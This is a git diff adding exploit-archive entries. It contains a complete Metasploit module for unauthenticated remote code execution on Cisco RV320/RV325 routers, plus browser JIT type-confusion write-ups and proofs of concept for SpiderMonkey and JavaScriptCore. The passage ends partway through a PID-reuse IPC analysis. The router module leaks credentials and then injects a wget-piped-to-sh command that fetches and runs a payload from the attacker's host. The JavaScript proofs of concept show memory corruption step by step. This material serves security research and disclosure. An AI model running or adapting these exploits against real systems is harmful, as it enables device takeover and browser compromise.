diff --git a/exploits/hardware/remote/46655.rb b/exploits/hardware/remote/46655.rb new file mode 100755 index 000000000..77d1e5bf3 --- /dev/null +++ b/exploits/hardware/remote/46655.rb @@ -0,0 +1,207 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = NormalRanking + + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Exploit::CmdStager + + def initialize(info={}) + super(update_info(info, + 'Name' => "Cisco RV320 and RV325 Unauthenticated Remote Code Execution", + 'Description' => %q{ + This exploit module combines an information disclosure (CVE-2019-1653) + and a command injection vulnerability (CVE-2019-1652) together to gain + unauthenticated remote code execution on Cisco RV320 and RV325 small business + routers. Can be exploited via the WAN interface of the router. Either via HTTPS + on port 443 or HTTP on port 8007 on some older firmware versions. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'RedTeam Pentesting GmbH', # Discovery, Metasploit + 'Philip Huppert', # Discovery + 'Benjamin Grap' # Metasploit + ], + 'References' => [ + [ 'CVE','2019-1653' ], + [ 'CVE','2019-1652' ], + [ 'EDB','46243' ], + [ 'BID','106728' ], + [ 'BID','106732' ], + [ 'URL', 'https://www.redteam-pentesting.de/en/advisories/rt-sa-2018-002/-cisco-rv320-unauthenticated-configuration-export' ], + [ 'URL', 'https://www.redteam-pentesting.de/en/advisories/rt-sa-2018-004/-cisco-rv320-command-injection' ] + ], + 'Platform' => 'linux', + 'Targets' => + [ + [ 'LINUX MIPS64', + { + 'Platform' => 'linux', + 'Arch' => ARCH_MIPS64 + } + ] + ], + 'Payload' => + { + 'BadChars' => "" + }, + 'CmdStagerFlavor' => [ 'bourne' ], + 'Privileged' => true, + 'DisclosureDate' => "Sep 9 2018", + 'DefaultTarget' => 0)) + + register_options([ + Opt::RPORT(8007), # port of Cisco webinterface + OptString.new('URIPATH', [true, 'The path for the stager. Keep set to default! (We are limited to 50 chars for the initial command.)', '/']), + OptInt.new('HTTPDELAY', [true, 'Time that the HTTP Server will wait for the payload request', 15]), + OptBool.new('USE_SSL', [false, 'Negotiate SSL/TLS for outgoing connections', false]) # Don't use 'SSL' option to prevent HttpServer from picking this up. + ]) + deregister_options('SSL') # prevent SSL in HttpServer and resulting payload requests since the injected wget command will not work with '--no-check-certificate' option. + deregister_options('SSLCert') # not required since stager only uses HTTP. + end + + def execute_command(cmd, opts = {}) + # use generated payload, we don't have to do anything here + end + + def autofilter + true + end + + def on_request_uri(cli, req) + print_status("#{peer} - Payload request received: #{req.uri}") + @cmdstager = generate_cmdstager().join(';') + send_response(cli, "#{@cmdstager}") + end + + def primer + payload_url = get_uri + print_status("Downloading configuration from #{peer}") + if(datastore['USE_SSL']) + print_status("Using SSL connection to router.") + end + res = send_request_cgi({ + 'uri' => normalize_uri("cgi-bin","config.exp"), + 'SSL' => datastore['USE_SSL'] + }) + unless res + vprint_error('Connection failed.') + return nil + end + + unless res.code == 200 + vprint_error('Could not download config. Aborting.') + return nil + end + + print_status("Successfully downloaded config") + username = res.body.match(/^USERNAME=([a-zA-Z]+)/)[1] + pass = res.body.match(/^PASSWD=(\h+)/)[1] + authkey = "1964300002" + print_status("Got MD5-Hash: #{pass}") + print_status("Loging in as user #{username} using password hash.") + print_status("Using default auth_key #{authkey}") + res2 = send_request_cgi({ + 'uri' => normalize_uri("cgi-bin","userLogin.cgi"), + 'SSL' => datastore['USE_SSL'], + 'method' => 'POST', + 'data' => "login=true&portalname=CommonPortal&password_expired=0&auth_key=#{authkey}&auth_server_pw=Y2lzY28%3D&submitStatus=0&pdStrength=1&username=#{username}&password=#{pass}&LanguageList=Deutsch¤t_password=&new_password=&re_new_password=" + }) + + unless res + vprint_error('Connection failed during login. Aborting.') + return nil + end + + unless res.code == 200 + vprint_error('Login failed with downloaded credentials. Aborting.') + return nil + end + + #Extract authentication cookies + cookies = res2.get_cookies() + print_status("Successfully logged in as user #{username}.") + print_status("Got cookies: #{cookies}") + print_status("Sending payload. Staging via #{payload_url}.") + #Build staging command + command_string = CGI::escape("'$(wget -q -O- #{payload_url}|sh)'") + if(command_string.length <= 63) + print_status("Staging command length looks good. Sending exploit!") + else + vprint_error("Warning: Staging command length probably too long. Trying anyway...") + end + + res3 = send_request_cgi({ + 'uri' => normalize_uri("certificate_handle2.htm"), + 'SSL' => datastore['USE_SSL'], + 'method' => 'POST', + 'cookie' => cookies, + 'vars_get' => { + 'type' => '4', + }, + 'vars_post' => { + 'page' => 'self_generator.htm', + 'totalRules' => '1', + 'OpenVPNRules' => '30', + 'submitStatus' => '1', + 'log_ch' => '1', + 'type' => '4', + 'Country' => 'A', + 'state' => 'A', + 'locality' => 'A', + 'organization' => 'A', + 'organization_unit' => 'A', + 'email' => 'any@example.com', + 'KeySize' => '512', + 'KeyLength' => '1024', + 'valid_days' => '30', + 'SelectSubject_c' => '1', + 'SelectSubject_s' => '1' + }, + 'data' => "common_name=#{command_string}" + }) + unless res3 + vprint_error('Connection failed while sending command. Aborting.') + return nil + end + + unless res3.code == 200 + vprint_error('Sending command not successful.') + return nil + end + print_status("Sending payload timed out. Waiting for stager to connect...") + end + + def check + #Check if device is vulnerable by downloading the config + res = send_request_cgi({'uri'=>normalize_uri("cgi-bin","config.exp")}) + + unless res + vprint_error('Connection failed.') + return CheckCode::Unknown + end + + unless res.code == 200 + return CheckCode::Safe + end + + unless res.body =~ /PASSWD/ + return CheckCode::Detected + end + + CheckCode::Vulnerable + end + + def exploit + # Main function. + # Setting delay for the Stager. + Timeout.timeout(datastore['HTTPDELAY']) {super} + rescue Timeout::Error + print_status("Waiting for stager connection timed out. Try increasing the delay.") + end +end \ No newline at end of file diff --git a/exploits/multiple/dos/46646.txt b/exploits/multiple/dos/46646.txt new file mode 100644 index 000000000..52f5fba4d --- /dev/null +++ b/exploits/multiple/dos/46646.txt @@ -0,0 +1,232 @@ +A bug in IonMonkey leaves type inference information inconsistent, which in turn allows the compilation of JITed functions that cause type confusions between arbitrary objects. + +# Prerequisites + +In Spidermonkey, every JavaScript objects is an instance of the JSObject class [1]. Plain JavaScript objects (e.g. ones created through an object literal) are typically instances of the NativeObject [2] class. A NativeObject is basically: + +* An ObjectGroup [3] which stores things like the prototype and type information for properties (see below) +* The Shape [4] of the object which indicates the location of properties. A Shape could e.g. tell that property .p is stored in the 2nd property slot +* Property storage [5]: a dynamically sized array in which the property values are stored. The Shapes provide indices into this array +* Element storage [6]: a dynamically sized array in which elements (properties with an integer key) are stored + +Spidermonky makes use of type inference to perform various optimizations in the JIT. Specifically, type inference is used to predict the types of object properties and then omit runtime type checks for them. Such a type inference system for property values is only safe as long as every property store to an object validates that the type of the new value is consistent with the existing type information or, if not, updates ("widens") the inferred type. In Spidermonkey's interpreter this is done in e.g. AddOrChangeProperty [7]. In the JIT compiler (IonMonkey), this is done through "type barriers" [8]: small runtime type checks that ensure the written value is consistent with what is stored as inferred type and otherwise bail out from the JITed code. + +# Crashing Testcase + +The following program, found through fuzzing and then manually modified, crashes Spidermonkey with an assertion that verifies that type inference data is consistent with the actual values stored as properties: + + function hax(o, changeProto) { + if (changeProto) { + o.p = 42; + o.__proto__ = {}; + } + o.p = 13.37; + return o; + } + + for (let i = 0; i < 1000; i++) { + hax({}, false); + } + + for (let i = 0; i < 10000; i++) { + let o = hax({}, true); + eval('o.p'); // Crash here + } + + +Crashes in debug builds of Spidermonkey with: + + Assertion failure: [infer failure] Missing type in object [Object * 0x327f2ca0aca0] p: float, at js/src/vm/TypeInference.cpp:265 + Hit MOZ_CRASH() at js/src/vm/TypeInference.cpp:266 + +This assertion expresses that type inference data is inconsistent for the property .p as the type "float" is not in the list of possible types but the property currently holds a float value. + +# Bug Analysis + +In essence it appears that IonMonkey fails to realize that the ObjectGroup of the object `o` can change throughout the function (specifically during the prototype change) and thus incorrectly omits a type barrier for the second property assignment, leading to inconsistent type inference information after the property assignment. + +In detail, the following appears to be happening: + +The first loop runs and allocates NativeObjects with ObjectGroup OG1 and Shape S1. After some iterations the function hax is JIT compiled. At that point, the compiled code will expect to be called with an object of ObjectGroup OG1 as input. OG1 will have inferred types {.p: [float]} because the body of the if condition was never executed and so property .p was never set to a non-float value. + +Then the second loop starts running, which will allocate objects using a new ObjectGroup, OG2 (I'm not exactly sure why it's a new one here, most likely some kind of heuristic) but still using Shape S1. As such, the compiled code for hax will be invalidated [9]. Then, during the first invocation of hax with changeProto == true, a new prototype will be set for o, which will + +1. cause a new ObjectGroup to be allocated for O (because prototypes are stored in the object group) and +2. cause the previous object group (OG2) to discard any inferred types and set the state of inferred properties to unknown [10]. An ObjectGroup with unknownProperties is then never again used for type inference of properties [11]. + +At a later point in the loop, the function is recompiled, but this time it is compiled to expect an object of ObjectGroup OG1 or OG2 as input. The JIT compiled code for hax will now look something like this (pseudocode): + + // Verify that the input is an object with ObjectGroup OG1 or OG2 (actually + // this check is performed before entering the JITed code) + VerifyInputTypes + + if (changeProto) { + // A SetProperty [12] inline cache [13] which will perform the actual + // property store and speed up subsequent property stores on objects of + // the same Shape and Group. Since a type barrier is required, the Group + // is used as an additional index into the cache so that both Shape and + // Group must match, in which case no inferred types could be + // accidentially invalidated. + SetPropertyICWithTypeBarrier o.p 42 + + Call ChangePrototype(o, {}) + } + + // Another inline cache to store property .p again, but this time without a + // type barrier. As such, only the Shape will be checked and not the Group. + SetPropertyIC o.p 13.37 + + Return o + +After compilation finishes, the following happens in the first invocation of the JITed code: + +* The function is called with an object of ObjectGroup OG2 and Shape S1 +* The property .p is stored on the object in the first SetProperty cache. This does not update any inferred type as OG2 does not use inferred types +* The prototype of o is changed + * This again causes a new ObjectGroup, OG3, to be allocated + * When creating the new group, property types are inferred from the current object (this is possible because it is the only object using the new group) [14] + * As such, o now has an ObjectGroup OG3 with inferred types {.p: [int]} +* The second propertystore cache runs into a cache miss (because it is empty at this point) + * Execution transfers to the slow path (a runtime property store) + * This will store the property and update the inferred types of OG3 to {.p: [int, float]} + * It will then update the inline cache to now directly handle property stores to objects with shape S1 + * Because this SetPropertyIC is not marked as requiring a type barrier, the cache only guards on the Shape, not the Group [15] + +Then, in the second invocation of the JITed code: + +* As above, a new ObjectGroup OG4 is allocated for o with inferred types {.p: [int]} when changing the prototype +* The second SetPropertyIC now runs into a cache hit (because it only looks at the Shape which is still S1) +* It then directly writes the property value into the property slot without updating inferred types + +As such, after the second invocation the returned object is one whose ObjectGroup (OG4) states that the property .p must be an integer but it really is a float. At this time, any validation of inferred types will crash with an assertion as happens during the runtime property lookup of .p in the call to eval(). + +The core issue here is that the second property store was marked as not requiring a type barrier. To understand why, it is necessary to look into the logic determining whether a property write should be guarded with a type barrier, implemented in jit::PropertyWriteNeedsTypeBarrier [16]. The logic of that function is roughly: + +1. Iterate over the set of possible object types, in this case that is OG1 and OG2 +2. For every group, check whether storing a value of type T (in this case float) would violate inferred property types + - In this case, OG1 already has the correct type for property .p, so no violation there + - And OG2 does not even track property types, so again no violation [17] +3. If no violations were found, no type barrier is needed + +The problem is that PropertyWriteNeedsTypeBarrier operates on the possible ObjectGroups of the input object at the beginning of the function which are not necessarily the same as at the time the property store is performed. As such, it fails to realize that the input object can actually have an ObjectGroup (in this case OG4) that has inferred property types that would be violated by the property write. It then falsely determine that a type barrier is not needed, leading to the scenario described above. + +# Exploitation + +Exploitation of this type of vulnerability comes down to JIT compiling a function in such a way that the compiler makes use of type inference data to omit runtime type checks. Afterwards a type confusion between arbitrary objects can be achieved. + +The following code demonstrates this by setting the inferred type to Uint8Array but actually storing an object with controlled property values (overlapping with internal fields of a Uint8Array) in the property. It then compiles code (the function pwn) to omit type checks on the property value based on its inferred types, thus treating the custom object as a Uint8Array and crashing when reading from 0x414141414141: + + let ab = new ArrayBuffer(1024); + + function hax(o, changeProto) { + // The argument type for |o| will be object of group OG1 or OG2. OG1 will + // have the inferred types {.p: [Y]}. OG2 on the other hand will be an + // ObjectGroup with unknown property types due to the prototype change. As + // such, OG2 will never have any inferred property types. + + // Ultimately, this code will confuse types X and Y with each other. + // Type X: a Uint8Array + let x = new Uint8Array(1024); + // Type Y: a unboxed object looking a bit like a Uint8Array but with controlled data... :) + let y = {slots: 13.37, elements: 13.38, buffer: ab, length: 13.39, byteOffset: 13.40, data: 3.54484805889626e-310}; + + if (changeProto) { + o.p = x; + + // This prototype change will cause a new ObjectGroup, OG_N, to be + // allocated for o every time it is executed (because the prototype is + // stored in the ObjectGroup). During creation of the new ObjectGroup, + // the current property values will be used to infer property types. As + // such, OG_N will have the inferred types {.p: [X]}. + o.__proto__ = {}; + } + + // This property write was not marked as requiring type barriers to + // validate the consistency of inferred property types. The reason is that + // for OG1, the property type is already correct and OG2 does not track + // property types at all. However, IonMonkey failed to realize that the + // ObjectGroup of o could have changed in between to a new ObjectGroup that + // has different inferred property types. As such, the type barrier + // omission here is unsafe. + // + // In the second invocation, the inline cache for this property store will + // then be a hit (because the IC only uses the Shape to index the cache, + // not the Group). As such, the inferred types associated with the + // ObjectGroup for o will not be updated and will be left inconsistent. + o.p = y; + + return o; + } + + function pwn(o, trigger) { + if (trigger) { + // Is on a code path that wasn't executed in the interpreter so that + // IonMonkey solely relies on type inference instead of type profiles + // from the interpreter (which would show the real type). + return o.p[0]; + } else { + return 42; + } + } + + // "Teach" the function hax that it should accept objects with ObjectGroup OG1. + // This is required as IonMonkey needs to have at least one "known" type when + // determining whether it can omit type barriers for property writes: + // https://github.com/mozilla/gecko-dev/blob/3ecf89da497cf1abe2a89d1b3c282b48e5dfac8c/js/src/jit/MIR.cpp#L6282 + for (let i = 0; i < 10000; i++) { + hax({}, false); + } + + // Compile hax to trigger the bug in such a way that an object will be created + // whose ObjectGroup indicates type X for property .p but whose real type will + // be Y, where both X and Y can be arbitrarily chosen. + let evilObj; + for (let i = 0; i < 10000; i++) { + evilObj = hax({}, true); + + // Not sure why this is required here, it maybe prevents JITing of the main + // script or similar... + eval('evilObj.p'); + } + + // JIT compile the second function and make it rely on the (incorrect) type + // inference data to omit runtime type checks. + for (let i = 0; i < 100000; i++) { + pwn(evilObj, false); + } + + // Finally trigger a type confusion. + pwn(evilObj, true); + +Note, this way of exploiting the issue requires UnboxedObjects [18] which have recently been disabled by default [19]. However, the bug itself does not require UnboxedObjects and can be exploited in other ways. UnboxedObjects are just the most (?) convenient way. + +[1] https://github.com/mozilla/gecko-dev/blob/3ecf89da497cf1abe2a89d1b3c282b48e5dfac8c/js/src/vm/JSObject.h#L54 +[2] https://github.com/mozilla/gecko-dev/blob/3ecf89da497cf1abe2a89d1b3c282b48e5dfac8c/js/src/vm/NativeObject.h#L463 +[3] https://github.com/mozilla/gecko-dev/blob/3ecf89da497cf1abe2a89d1b3c282b48e5dfac8c/js/src/vm/ObjectGroup.h#L87 +[4] https://github.com/mozilla/gecko-dev/blob/3ecf89da497cf1abe2a89d1b3c282b48e5dfac8c/js/src/vm/Shape.h#L37 +[5] https://github.com/mozilla/gecko-dev/blob/3ecf89da497cf1abe2a89d1b3c282b48e5dfac8c/js/src/vm/NativeObject.h#L466 +[6] https://github.com/mozilla/gecko-dev/blob/3ecf89da497cf1abe2a89d1b3c282b48e5dfac8c/js/src/vm/NativeObject.h#L469 +[7] https://github.com/mozilla/gecko-dev/blob/3ecf89da497cf1abe2a89d1b3c282b48e5dfac8c/js/src/vm/NativeObject.cpp#L1448 +[8] https://github.com/mozilla/gecko-dev/blob/3ecf89da497cf1abe2a89d1b3c282b48e5dfac8c/js/src/jit/MIR.h#L10254 +[9] https://blog.mozilla.org/javascript/2012/10/15/the-ins-and-outs-of-invalidation/ +[10] https://github.com/mozilla/gecko-dev/blob/3ecf89da497cf1abe2a89d1b3c282b48e5dfac8c/js/src/vm/JSObject.cpp#L2219 +[11] https://github.com/mozilla/gecko-dev/blob/3ecf89da497cf1abe2a89d1b3c282b48e5dfac8c/js/src/vm/TypeInference.cpp#L2946 +[12] https://github.com/mozilla/gecko-dev/blob/3ecf89da497cf1abe2a89d1b3c282b48e5dfac8c/js/src/jit/IonIC.h#L280 +[13] https://www.mgaudet.ca/technical/2018/6/5/an-inline-cache-isnt-just-a-cache +[14] https://github.com/mozilla/gecko-dev/blob/3ecf89da497cf1abe2a89d1b3c282b48e5dfac8c/js/src/vm/NativeObject.cpp#L1259 +[15] https://github.com/mozilla/gecko-dev/blob/3ecf89da497cf1abe2a89d1b3c282b48e5dfac8c/js/src/jit/CacheIR.cpp#L3544 +[16] https://github.com/mozilla/gecko-dev/blob/3ecf89da497cf1abe2a89d1b3c282b48e5dfac8c/js/src/jit/MIR.cpp#L6268 +[17] https://github.com/mozilla/gecko-dev/blob/3ecf89da497cf1abe2a89d1b3c282b48e5dfac8c/js/src/jit/MIR.cpp#L6293 +[18] https://github.com/mozilla/gecko-dev/blob/3ecf89da497cf1abe2a89d1b3c282b48e5dfac8c/js/src/vm/UnboxedObject.h#L187 +[19] https://github.com/mozilla/gecko-dev/commit/26965039e60a00b3600ce2e6a559106e4a3a30ca + + Bugzilla entry: https://bugzilla.mozilla.org/show_bug.cgi?id=1538120 + + + Fixed in https://www.mozilla.org/en-US/security/advisories/mfsa2019-09/#CVE-2019-9813 (bug collision with a pwn2own entry) + +The issue was fixed in two ways: + +1. in https://github.com/mozilla/gecko-dev/commit/0ff528029590e051baa60265b3af92a632a7e850 the code that adds inferred properties after a prototype change (step `* When creating the new group, property types are inferred from the current object` above) was changed to no longer create inferred property types when coming from Groups marked as having unknownProperties. As such, in this case the new ObjectGroups created from OG2 would now all have unknownProperties as well. + +2. in https://github.com/mozilla/gecko-dev/commit/f8ce40d176067800e5dda013fb4d8ff9e91d9a88 the function responsible for determining whether write barriers can be omitted (jit::PropertyWriteNeedsTypeBarrier) was modified to always emit write barriers if one of the input groups has unknownProperties. \ No newline at end of file diff --git a/exploits/multiple/dos/46647.js b/exploits/multiple/dos/46647.js new file mode 100644 index 000000000..9da6a7658 --- /dev/null +++ b/exploits/multiple/dos/46647.js @@ -0,0 +1,201 @@ +/* +Prerequisites +------------- + +In JavaScriptCore, JSObjects have an associated Structure: an object describing various aspects of the JSObject such as its type, its properties, and the type of elements being stored (e.g. unboxed double or JSValues). Whenever a property is added to an object (or some other aspect of it is changed), a new structure is allocated which now also contains the new property. This "structure transition" is then cached so that the same structure can be reused for similar transitions in the future. + +Arrays in JavaScriptCore can have different indexing modes: the contiguous modes (ArrayWithInt32, ArrayWithDouble, ArrayWithContiguous), and modes used for sparse arrays (ArrayWitArrayStorage, ArrayWithSlowPutArrayStorage). JavaScriptCore has a notion of "having a bad time" (JSGlobalObject::haveABadTime). This is the case when an object in the array prototype chain has indexed accessors. In that case, the indexing mode of all arrays is switched to ArrayWithSlowPutStorage, which indicates that element stores to holes have to consult the prototype chain. The engine will "have a bad time" as soon as an object in the default prototype chain of Arrays has an indexed accessor. + +JavaScriptCore can track types of properties using the inferred type mechanism. Essentially, the first time a property is created, an inferred type for the property is installed and linked to the structure. The inferred type is based on the initial value of the property. For example: setting a property .x for the first time with a value of 42 would initialize the inferred type for .x to be "Int32". If the same property (on any Object referencing it) is assigned a new value, the inferred type for that property is "widened" to include all previous types and the new type. For example: if later on a double value is stored in property .x, the new inferred type for that property would be "Number". See InferredType::Descriptor::merge for the exact rules. Besides primitive types and "Object", inferred types can also be "ObjectWithStructure", in which case the property is known to be an object with a specific structure. The DFG and FTL JIT compilers make use of inferred types to omit type checks. Consider the following code: + + function foo(o) { + return o.a.b; + } + +Assuming that the inferred type for the .a property is ObjectWithStructure, then the compiler is able to use the inferred type to omit the StructureCheck for o.a and will thus only emit a single StructureCheck for o. + + +Vulnerability Details +--------------------- + +The inferred type mechanism is secured via watchpoints: whenever a piece of JIT code relies on inferred types, it installs a callback (called Watchpoint) on the inferred type to trigger whenever it is widened. In that case the JIT code is discarded as it is no longer safe to execute. Code that updates a property value is then required to check whether the inferred type is still consistent with the new value and if not widen it and trigger Watchpoints. This is done e.g. in Structure::willStoreValueForExistingTransition. As such, every "direct" property store, one that does not update inferred types, could now be a security bug as it could violate inferred types. JSObject::putDirect is such an example: + + void putDirect(VM& vm, PropertyOffset offset, JSValue value) { locationForOffset(offset)->set(vm, this, value); } + +The function directly stores the provided value to the given property slot without accounting for inferred types, which the caller is supposed to do. Looking for cross references to said function leads to createRegExpMatchesArray (used e.g. for %String.prototype.match) which in essence does: + + let array = newArrayWithStructure(regExpMatchesArrayWithGroupsStructure); + array->putDirect(vm, RegExpMatchesArrayIndexPropertyOffset, index) + array->putDirect(vm, RegExpMatchesArrayInputPropertyOffset, input) + array->putDirect(vm, RegExpMatchesArrayGroupsPropertyOffset, groups) + +As such, if it was possible to get the engine to set an inferred type for one of the three properties of the regExpMatchesArrayWithGroupsStructure structure, one could then invalidate the inferred type through %String.prototype.match without firing watchpoints. The regExpMatchesArrayWithGroupsStructure is created during initialization of the engine by following this pseudo code: + + let structure = arrayStructureForIndexingTypeDuringAllocation(ArrayWithContiguous); + structure = Structure::addPropertyTransition(vm, structure, "index"); + structure = Structure::addPropertyTransition(vm, structure, "input"); + regExpMatchesArrayWithGroupsStructure = Structure::addPropertyTransition(vm, structure, "groups"); + +It is thus possible to manually construct an object having the regExpMatchesArrayWithGroupsStructure as structure like this: + + var a = ["a", "b", "c"]; // ArrayWithContiguous + a.index = 42; + a.input = "foo"; + a.groups = null; + +Unfortunately, as the regExpMatchesArrayWithGroupsStructure is created at initialization time of the engine, no inferred type will be set for any of the properties as no property value is available for the initial structure transition. + +However, regExpMatchesArrayWithGroupsStructure is re-created when the engine is having a bad time. In that case, all arrays will now use ArrayWithSlowPutArrayStorage mode. For that reason, a new structure for regExpMatchesArrayWithGroupsStructure is created as well which now uses ArrayWithSlowPutArrayStorage instead of ArrayWithContiguous as base structure. As such, if somehow it was possible to create the resulting regExpMatchesArrayWithGroupsStructure before the engine has a bad time, then inferred types could be installed on said structure. It is rather tricky to construct an array that has the default array prototype and uses ArrayWithSlowPutArrayStorage mode, as that mode is only used when a prototype has indexed accessors. However, it is possible using the following code: + + // Create a plain array with indexing type SlowPutArrayStorage. This is equivalent to + // `arrayStructureForIndexingTypeDuringAllocation(ArrayWithSlowPutArrayStorage)` in C++. + function createArrayWithSlowPutArrayStorage() { + let protoWithIndexedAccessors = {}; + Object.defineProperty(protoWithIndexedAccessors, 1337, { get() { return 1337; } }); + + // Compile a function that will end up creating an array with SlowPutArrayStorage. + function helper(i) { + // After JIT compilation, this new Array call will construct a normal array (with the + // original Array prototype) with SlowPutArrayStorage due to profiling information from + // previous executions (which all ended up transitioning to SlowPutArrayStorage). + let a = new Array; + if (i > 0) { + // Convert the array to SlowPutArrayStorage by installing a prototype with indexed + // accessors. We can't directly use this object though as the prototype is different and + // thus the structure has changed. + Object.setPrototypeOf(a, protoWithIndexedAccessors); + } + return a; + } + + for (let i = 1; i < 10000; i++) { + helper(i); + } + + return helper(0); + } + +Once the helper function is JIT compiled, the profile information for the "new Array" operation will indicate that the resulting array will eventually use the ArrayWithSlowPutArrayStorage indexing mode. As such, the engine decides to directly allocate the object with ArrayWithSlowPutArrayStorage during `new Array` in the JIT code. By not going into the if branch it is possible to construct an array with SlowPutArrayStorage that never changed its prototype from the original array prototype (which causes a structure transition and as such cannot be used). + +From here, it is possible to create the same structure that will later become regExpMatchesArrayWithGroupsStructure after having a bad time: + + let a = createArrayWithSlowPutArrayStorage(); + a.index = 1337; + a.input = "foobar" + a.groups = obj; + +However, this time the engine will use inferred types for all properties since this is the first time the structure is created and all properties are initialized with values. With that, it is now possible to compile a function that uses these inferred types to omit type checks, such as: + + // Install a global property with inferred type of ObjectWithStructure. + global = a; + // Must assign twice, otherwise JIT assumes 'global' is a constant. + global = a; + + function hax() { + return global.groups.someProperty; + } + +This function will be compiled without any StructureCheck operations to perform runtime type checks as everything is based on inferred types. + +Next, String.match is invoked to produce an object with the same structure but which now violates the inferred type due to createRegExpMatchesArray using putDirect for the property store. The resulting object can safely be assigned to the 'global' variable as it has the same structure as before. Afterwards, the compiled function can be invoked again to cause a type confusion when accessing .someProperty because the .groups property now has a different Structure than indicated by its inferred type. + +To recap, the steps to achieve a type confusion between an object of type TX and an object of type TY, where both TX and TY can be arbitrarily chosen, are as follows: + +1. Let X and Y be two objects with structures S1 and S2 respectively (corresponding to type TX and type TY). +2. Let O be an object with an out-of-line property whose value is X and inferred type thus TX. O will have structure S3. +3. Create an array with unmodified prototype chain and SlowPutArrayStorage as described above. It will have structure S4 (plain array with SlowPutStorage). +4. Add properties 'index', 'input', and 'groups' in that order to create structures S5, S6, and S7. Set the initial value of the 'groups' property to O so its inferred type will be ObjectWithStructure S3. +5. Have a bad time: install an indexed accessor on the array prototype. This will cause arrays to be converted and regExpMatchesArrayWithGroupsStructure to be recreated. However, since the structure transitions already exist, regExpMatchesArrayWithGroupsStructure will become structure S7. The inferred types for S7 will not change since no property values are assigned. +6. JIT compile a function that relies on the inferred type of the .groups property of structure S7 which is ObjectWithStructure S3. +7. Call String.prototype.match to create an object M with structure S8, which, however, violates the inferred types as createRegExpMatchesArray uses putDirect. +8. Set the first out-of-line property of M.groups to Y. +9. Call the JIT compiled function with M. As M has structure S7, the code will not bail out, then access the first out-of-line property of M.groups believing it to be type TX while it really is type TY now. + +The attached PoC uses this to confuse an object with a double inline property with an object with a pointer inline property. +*/ + +// /System/Library/Frameworks/JavaScriptCore.framework/Resources/jsc poc.js +// The PoC will confuse objX with objY. +// objX will have structure S1, objY structure S2. +let objX = {objProperty: {fetchme: 1234}}; +let objY = {doubleProperty: 2130562.5098039214}; // 0x4141414141414141 in memory + +// Create a plain array with indexing type SlowPutArrayStorage. This is equivalent to +// `arrayStructureForIndexingTypeDuringAllocation(ArrayWithSlowPutArrayStorage)` in C++. +function createArrayWithSlowPutArrayStorage() { + let protoWithIndexedAccessors = {}; + Object.defineProperty(protoWithIndexedAccessors, 1337, { get() { return 1337; } }); + + // Compile a function that will end up creating an array with SlowPutArrayStorage. + function helper(i) { + // After JIT compilation, this new Array call will construct a normal array (with the + // original Array prototype) with SlowPutArrayStorage due to profiling information from + // previous executions (which all ended up transitioning to SlowPutArrayStorage). + let a = new Array; + if (i > 0) { + // Convert the array to SlowPutArrayStorage by installing a prototype with indexed + // accessors. This object can, however, not be used directly as the prototype is + // different and thus the structure has changed. + Object.setPrototypeOf(a, protoWithIndexedAccessors); + } + return a; + } + + for (let i = 1; i < 10000; i++) { + helper(i); + } + + return helper(0); +} + +// Helper object using inferred types. +let obj = {}; +obj.inlineProperty1 = 1337; +obj.inlineProperty2 = 1338; +obj.oolProperty1 = objX; // Inferred type of 'oolProperty1' will be ObjectWithStructure S1. +// 'obj' now has structure S3. + +// Create the same structure (S4) that will later (when having a bad time) be used as +// regExpMatchesArrayWithGroupsStructure. Since property values are assigned during the initial +// structure transition, inferred types for all property values are created. +let a = createArrayWithSlowPutArrayStorage(); // a has Structure S4, +a.index = 42; // S5, +a.input = "foobar"; // S6, +a.groups = obj; // and S7. +// The inferred type for the .groups property will be ObjectWithStructure S3. + +// Inferred type for this property will be ObjectWithStructure S7. +global = a; + +// Must assign twice so the JIT uses the inferred type instead of assuming that +// the property is constant and installing a replacement watchpoint to +// deoptimize whenever the property is replaced. +global = a; + +// Have a bad time. This will attempt to recreate the global regExpMatchesArrayWithGroupsStructure +// (to use an array with SlowPutArrayStorage), but since the same structure transitions were +// performed before, it will actually reuse the existing structure S7. As no property values are +// assigned, all inferred types for structure S7 will still be valid. +Object.defineProperty(Array.prototype, 1337, { get() { return 1337; } }); + +// Compile a function that uses the inferred value of 'global' to omit type checks. +function hax() { + return global.groups.oolProperty1.objProperty.fetchme; +} + +for (let i = 0; i < 10000; i++) { + hax(i); +} + +// Create an ObjectWithStructure S7 which violates the inferred type of .groups (and potentially +// other properties) due to createRegExpMatchesArray using putDirect. +let match = "hax".match(/(?hax)/); + +// match.groups has structure S8 and so assignments to it won't invalidate inferred types of S7. +match.groups.oolProperty1 = objY; // This property overlaps with oolProperty1 of structure S3. + +// The inferred type for 'global' is ObjectWithStructure S4 so watchpoints will not be fired. +global = match; + +// Trigger the type confusion. +hax(); \ No newline at end of file diff --git a/exploits/multiple/dos/46648.txt b/exploits/multiple/dos/46648.txt new file mode 100644 index 000000000..49095bca3 --- /dev/null +++ b/exploits/multiple/dos/46648.txt @@ -0,0 +1,51 @@ +Privileged IPC services in userspace often have to verify the security context of their client processes (such as whether the client is sandboxed, has a specific entitlement, or is signed by some code signing authority). This, in turn, requires a way to identify a client process. If PIDs are used for that purpose, the following attack becomes possible: + +1. The (unprivileged) client process sends an IPC message to a privileged service +2. The client process terminates and spawns a privileged process into its PID +3. The privileged service performs the security check, but since the PID has been reused it performs it on the wrong process + +This attack is feasible because the PID space is usually fairly small (e.g. 100000 for XNU) and PIDs can thus be wrapped around relatively quickly (in step 2 or up front). As such, on darwin platforms the recommended way to identify IPC clients for the purpose of performing security checks in userspace is to rely on the audit_token. In contrast to the PID, which wraps around at 100000, the audit_token additionally contains the pidversion, which is in essence a 32-bit PID (from bsd/kern/kern_fork.c): + + proc_t + forkproc(proc_t parent_proc) + { + static int nextpid = 0, pidwrap = 0, nextpidversion = 0; + ...; + + /* Repeat until nextpid is a currently unused PID. */ + nextpid++; + ...; + + nprocs++; + child_proc->p_pid = nextpid; + child_proc->p_responsible_pid = nextpid; + child_proc->p_idversion = nextpidversion++; + ...; + +When using audit_tokens, the previously described attack would now require creating two different processes which have the same pair of (pid, pidversion), which in turn would require spawning roughly 2**32 processes to wrap around the pidversion. However, the pidversion is additionally incremented during execve (from bsd/kern/kern_exec.c): + + /* Update the process' identity version and set the security token */ + p->p_idversion++; + +This is likely done to prevent another attack where a process sends an IPC message, then immediately execve's a privileged binary. The problem here is that 